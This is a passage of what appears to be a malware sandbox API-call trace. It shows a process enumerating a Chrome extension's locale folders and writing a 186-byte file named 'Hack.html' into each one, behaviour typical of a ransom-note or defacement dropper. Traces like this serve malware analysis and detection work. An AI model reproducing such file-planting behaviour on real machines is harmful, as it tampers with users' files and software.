lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de", lpFilePart=0x0) returned 0x8d [0074.189] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\", lpFilePart=0x0) returned 0x8e [0074.189] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.190] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.190] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.190] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.190] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.191] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de", lpFilePart=0x0) returned 0x8d [0074.191] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\", lpFilePart=0x0) returned 0x8e [0074.191] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.191] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.191] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.191] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.191] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.192] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.192] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.192] GetFileType (hFile=0x174) returned 0x1 [0074.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.192] GetFileType (hFile=0x174) returned 0x1 [0074.193] WriteFile (in: hFile=0x174, lpBuffer=0x2711d80*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2711d80*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.194] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el", lpFilePart=0x0) returned 0x8d [0074.194] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\", lpFilePart=0x0) returned 0x8e [0074.194] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.195] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.195] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.195] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.195] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el", lpFilePart=0x0) returned 0x8d [0074.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\", lpFilePart=0x0) returned 0x8e [0074.196] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.196] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.196] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.196] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.196] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.196] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.197] GetFileType (hFile=0x174) returned 0x1 [0074.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.197] GetFileType (hFile=0x174) returned 0x1 [0074.197] WriteFile (in: hFile=0x174, lpBuffer=0x2717430*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2717430*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.199] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en", lpFilePart=0x0) returned 0x8d [0074.199] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\", lpFilePart=0x0) returned 0x8e [0074.199] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.199] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.199] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.199] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.199] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.200] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en", lpFilePart=0x0) returned 0x8d [0074.200] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\", lpFilePart=0x0) returned 0x8e [0074.200] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.200] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.200] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.200] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.200] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.200] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.200] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.201] GetFileType (hFile=0x174) returned 0x1 [0074.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.201] GetFileType (hFile=0x174) returned 0x1 [0074.201] WriteFile (in: hFile=0x174, lpBuffer=0x271cae0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x271cae0*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.202] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB", lpFilePart=0x0) returned 0x90 [0074.202] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\", lpFilePart=0x0) returned 0x91 [0074.202] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.203] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.204] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.204] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.204] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.204] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB", lpFilePart=0x0) returned 0x90 [0074.204] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\", lpFilePart=0x0) returned 0x91 [0074.204] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.205] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.205] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.205] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.205] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.205] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\Hack.html", lpFilePart=0x0) returned 0x9a [0074.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.205] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.206] GetFileType (hFile=0x174) returned 0x1 [0074.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.206] GetFileType (hFile=0x174) returned 0x1 [0074.206] WriteFile (in: hFile=0x174, lpBuffer=0x2722270*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2722270*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es", lpFilePart=0x0) returned 0x8d [0074.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\", lpFilePart=0x0) returned 0x8e [0074.207] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.207] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.207] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.208] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.208] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es", lpFilePart=0x0) returned 0x8d [0074.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\", lpFilePart=0x0) returned 0x8e [0074.208] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\*", 